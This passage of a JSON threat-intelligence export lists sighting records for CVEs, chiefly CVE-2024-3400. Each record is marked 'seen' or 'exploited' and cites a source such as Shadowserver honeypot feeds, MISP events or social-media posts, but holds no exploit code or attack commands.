"c3171710-0395-4dea-81ef-7d102ff536f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-18)", "content": "", "creation_timestamp": "2025-10-18T00:00:00.000000Z"}, {"uuid": "d3d5b937-cda8-4fc1-b2f7-fb5e767e0d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-01)", "content": "", "creation_timestamp": "2025-10-01T00:00:00.000000Z"}, {"uuid": "b6b6e466-64aa-447e-a187-c23ab83464d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34193", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lunw55ksqt2x", "content": "", "creation_timestamp": "2025-07-23T21:02:26.781445Z"}, {"uuid": "92c4b6ec-51a6-4fed-8846-696994d5c075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-12)", "content": "", "creation_timestamp": "2025-09-12T00:00:00.000000Z"}, {"uuid": "5c0a8844-4d3f-4470-995e-3c731f9cf853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-24)", "content": "", "creation_timestamp": "2025-07-24T00:00:00.000000Z"}, {"uuid": "454b93ba-06cf-4a19-9f2e-5d2b3e3fd82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-05)", "content": "", "creation_timestamp": "2025-09-05T00:00:00.000000Z"}, {"uuid": "880f6938-815e-4cda-a0b6-7dab5ab03eef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-21)", "content": "", "creation_timestamp": "2025-10-21T00:00:00.000000Z"}, {"uuid": "9832b703-e23e-461c-9992-34b9862d4da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "d92d3591-f905-436e-9be8-61674f9cb7a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:03.000000Z"}, {"uuid": "2f3dc8ad-70ed-43e1-90a3-724401964313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:03.000000Z"}, {"uuid": "02c56088-e269-45bc-807a-9f21fe4adff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:03.000000Z"}, {"uuid": "f8c1a59a-9ff9-4a28-b757-0ae5b4ffe47a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34069", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:03.000000Z"}, {"uuid": "95d1bb87-8f92-4871-a4e2-0a3834898537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-27)", "content": "", "creation_timestamp": "2025-07-27T00:00:00.000000Z"}, {"uuid": "06cb44fc-9751-4e10-bd7d-10607dc1a569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-13)", "content": "", "creation_timestamp": "2025-10-13T00:00:00.000000Z"}, {"uuid": "97d1ceda-8e7e-4750-8e7e-5244350511ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-29)", "content": "", "creation_timestamp": "2025-10-29T00:00:00.000000Z"}, {"uuid": "3b8e308c-0251-4516-a142-4eaabfc38666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-17)", "content": "", "creation_timestamp": "2025-11-17T00:00:00.000000Z"}, {"uuid": "504ae394-e0ce-48a3-9668-5d3f439d2125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lv7i6a5m5q2o", "content": "", "creation_timestamp": "2025-07-30T20:40:18.931137Z"}, {"uuid": "41fce624-b5ec-405c-a717-c7a1caf50e36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-06)", "content": "", "creation_timestamp": "2025-10-06T00:00:00.000000Z"}, {"uuid": "e3107dcd-1bd5-441d-8efa-a3c73db0d8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-15)", "content": "", "creation_timestamp": "2025-11-15T00:00:00.000000Z"}, {"uuid": "271d0777-90f0-4393-9091-d89c404ca7c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-15)", "content": "", "creation_timestamp": "2025-10-15T00:00:00.000000Z"}, {"uuid": "17c12c9b-547b-4aaf-adf4-fc8877331796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-09)", "content": "", "creation_timestamp": "2025-09-09T00:00:00.000000Z"}, {"uuid": "d1a7dad6-666d-4835-ba44-6ff737d26bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-02)", "content": "", "creation_timestamp": "2025-10-02T00:00:00.000000Z"}, {"uuid": "b624c55f-b6c1-420d-b335-cef576922136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/4/palo-alto-cve-2024-3400", "content": "", "creation_timestamp": "2024-04-12T07:56:06.000000Z"}, {"uuid": "f5dc9a07-d189-4ce3-ac97-aa2edd0017a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-02)", "content": "", "creation_timestamp": "2025-10-02T00:00:00.000000Z"}, {"uuid": "4219aa3c-11e0-42e5-a866-04268f7a2e76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-19)", "content": "", "creation_timestamp": "2025-10-19T00:00:00.000000Z"}, {"uuid": "b0b116c6-39ce-4d65-b905-0241ff061dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-07)", "content": "", "creation_timestamp": "2025-08-07T00:00:00.000000Z"}, {"uuid": "cc0e086e-f025-4fe2-8dee-4d7e4118c077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "ad69a1f9-5f05-4d97-82ac-12f818ebe2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-31)", "content": "", "creation_timestamp": "2025-10-31T00:00:00.000000Z"}, {"uuid": "570607d4-8165-41e3-9499-7a79561c480c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-03)", "content": "", "creation_timestamp": "2025-11-03T00:00:00.000000Z"}, {"uuid": "4fcad689-e7a4-43ba-8894-792e71c8d589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-06)", "content": "", "creation_timestamp": "2025-09-06T00:00:00.000000Z"}, {"uuid": "88a8f1a7-e5c9-4615-8677-f6d4cc877930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-13)", "content": "", "creation_timestamp": "2025-09-13T00:00:00.000000Z"}, {"uuid": "2396e7a0-9760-4943-bd92-538f4eaa9301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "1e7f7104-ead9-4354-ad8e-a9f5e645247e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-08)", "content": "", "creation_timestamp": "2025-08-08T00:00:00.000000Z"}, {"uuid": "2cce2d6a-33ab-40da-9721-eea6cb466462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-09)", "content": "", "creation_timestamp": "2025-08-09T00:00:00.000000Z"}, {"uuid": "1826122b-469c-4d38-824a-5c78041616f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-08)", "content": "", "creation_timestamp": "2025-10-08T00:00:00.000000Z"}, {"uuid": "2ac56b20-bf71-43ae-9c88-a493fd0754a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-10)", "content": "", "creation_timestamp": "2025-08-10T00:00:00.000000Z"}, {"uuid": "859e0776-03bd-4474-bda4-3fabf69c46ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3lz3esfxfh22z", "content": "", "creation_timestamp": "2025-09-18T03:10:08.534524Z"}, {"uuid": "04a98f05-ac70-4da4-b9c3-6707cda03ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://mastodon.social/users/leakix/statuses/115580967399197871", "content": "", "creation_timestamp": "2025-11-20T08:00:03.862722Z"}, {"uuid": "19f38c4e-e20c-4a0f-979b-cd1c0d73dc9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/leakix.bsky.social/post/3m62cerzdhf2u", "content": "", "creation_timestamp": "2025-11-20T08:00:05.412378Z"}, {"uuid": "bf3de533-d07e-439c-8263-97d55bc4861d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-11)", "content": "", "creation_timestamp": "2025-08-11T00:00:00.000000Z"}, {"uuid": "364156cb-0cff-4cef-b2d9-773d1e92bfa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-12)", "content": "", "creation_timestamp": "2025-08-12T00:00:00.000000Z"}, {"uuid": "6aba1513-4aa0-4ffd-9e0f-793d25f53b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-07)", "content": "", "creation_timestamp": "2025-09-07T00:00:00.000000Z"}, {"uuid": "d418bcd0-de8b-458e-80cc-a3cf050385b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-01)", "content": "", "creation_timestamp": "2025-11-01T00:00:00.000000Z"}, {"uuid": "ec711a99-559e-4ebf-a114-005f76c059a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-14)", "content": "", "creation_timestamp": "2025-09-14T00:00:00.000000Z"}, {"uuid": "65e786e3-e530-4427-8530-613787501b50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-13)", "content": "", "creation_timestamp": "2025-08-13T00:00:00.000000Z"}, {"uuid": "c05a70da-445b-45b8-9b32-7740abd7b11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/sansisc.bsky.social/post/3lzyoeiltfv2k", "content": "", "creation_timestamp": "2025-09-29T18:48:31.523567Z"}, {"uuid": "834f4b72-b252-48ad-8ca7-a5fe739469ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-16)", "content": "", "creation_timestamp": "2025-11-16T00:00:00.000000Z"}, {"uuid": "63b1b85e-70d2-446b-88b0-15685b738e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-03)", "content": "", "creation_timestamp": "2025-10-03T00:00:00.000000Z"}, {"uuid": "1f194b7a-bae2-4d8a-83a6-d734c83219a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-03)", "content": "", "creation_timestamp": "2025-10-03T00:00:00.000000Z"}, {"uuid": "219f8659-11c3-43ee-a1b9-1b5596155b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-11)", "content": "", "creation_timestamp": "2025-11-11T00:00:00.000000Z"}, {"uuid": "7063cffa-7c8b-4af4-a8d4-38d7903a6164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-14)", "content": "", "creation_timestamp": "2025-08-14T00:00:00.000000Z"}, {"uuid": "22492e86-3a2c-4b52-af91-052b0cf3ec64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-14)", "content": "", "creation_timestamp": "2025-08-14T00:00:00.000000Z"}, {"uuid": "9c8366ce-39dd-42dc-8fb3-5098f32b96e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-12)", "content": "", "creation_timestamp": "2025-11-12T00:00:00.000000Z"}, {"uuid": "0409184c-61a4-44d0-bbe1-93e17dced605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34167", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3m5t23yf2qc25", "content": "", "creation_timestamp": "2025-11-17T10:43:25.651101Z"}, {"uuid": "7f44938f-e38b-4c3b-81b3-85bf9d0a33f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hunterstrategy.bsky.social/post/3lyuyjq2j2t2h", "content": "", "creation_timestamp": "2025-09-15T14:14:34.134400Z"}, {"uuid": "0090f38e-81a1-4b87-98e2-3e84f148753a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-15)", "content": "", "creation_timestamp": "2025-08-15T00:00:00.000000Z"}, {"uuid": "8f3415f5-1200-4900-bbea-fafc3457705c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://gist.github.com/Darkcrai86/6e7631b7698866b0940cf7b91525a794", "content": "", "creation_timestamp": "2025-10-04T15:50:13.000000Z"}, {"uuid": "67ea83b2-a43f-452e-b19a-85dc9dae6036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-10)", "content": "", "creation_timestamp": "2025-09-10T00:00:00.000000Z"}, {"uuid": "1073e461-4377-4acd-9a4c-73010fc9434d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-16)", "content": "", "creation_timestamp": "2025-08-16T00:00:00.000000Z"}, {"uuid": "cddd2a3e-51f5-4e33-8b8a-799379f433fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-3400", "type": "seen", "source": "https://gist.github.com/Darkcrai86/94b2e5a50773a0bd1c3514f9b3ce0883", "content": "", "creation_timestamp": "2025-10-04T18:05:04.000000Z"}, {"uuid": "9f7181af-3095-4448-8811-5219eb6c2d67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-26)", "content": "", "creation_timestamp": "2025-10-26T00:00:00.000000Z"}, {"uuid": "a1df2487-7ff9-476f-a05e-b669668b6452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-13)", "content": "", "creation_timestamp": "2025-11-13T00:00:00.000000Z"}, {"uuid": "76f72e35-5105-420d-a2cc-703d1c601785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-09)", "content": "", "creation_timestamp": "2025-10-09T00:00:00.000000Z"}, {"uuid": "3c780279-4658-47f0-918e-fcc960c67585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-17)", "content": "", "creation_timestamp": "2025-08-17T00:00:00.000000Z"}, {"uuid": "32971cf7-3591-4861-b1dc-ee5561d6d447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:31:00.000000Z"}, {"uuid": "1efd529b-dd19-47d2-a220-e6b3decd3672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-20)", "content": "", "creation_timestamp": "2025-10-20T00:00:00.000000Z"}, {"uuid": "c11d7f8f-6294-4302-a5be-96d38de478ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-16)", "content": "", "creation_timestamp": "2025-10-16T00:00:00.000000Z"}, {"uuid": "e2ee9b40-043a-462c-9a5e-f9c4728d0041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-11)", "content": "", "creation_timestamp": "2025-10-11T00:00:00.000000Z"}, {"uuid": "08ed142f-9054-4a9f-b180-f0c42193c2a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-20)", "content": "", "creation_timestamp": "2025-08-20T00:00:00.000000Z"}, {"uuid": "d95a5c2a-2da1-41b5-8410-b2ad39bc38d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-28)", "content": "", "creation_timestamp": "2025-10-28T00:00:00.000000Z"}, {"uuid": "b39a8235-de7f-4418-9c3c-a439ddff460a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://mastodon.social/users/leakix/statuses/115575305122769519", "content": "", "creation_timestamp": "2025-11-19T08:00:05.233194Z"}, {"uuid": "b146883c-0ff2-4bf5-acd2-0e37bb8190c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/leakix.bsky.social/post/3m5xrvul5mf2q", "content": "", "creation_timestamp": "2025-11-19T08:00:06.456574Z"}, {"uuid": "b4374cc7-b7fa-4b84-9b22-85ba1e1fdf64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-30)", "content": "", "creation_timestamp": "2025-10-30T00:00:00.000000Z"}, {"uuid": "4b4c9318-5790-411b-bfff-284aec293284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hunterstrategy.bsky.social/post/3lx36skhooq2e", "content": 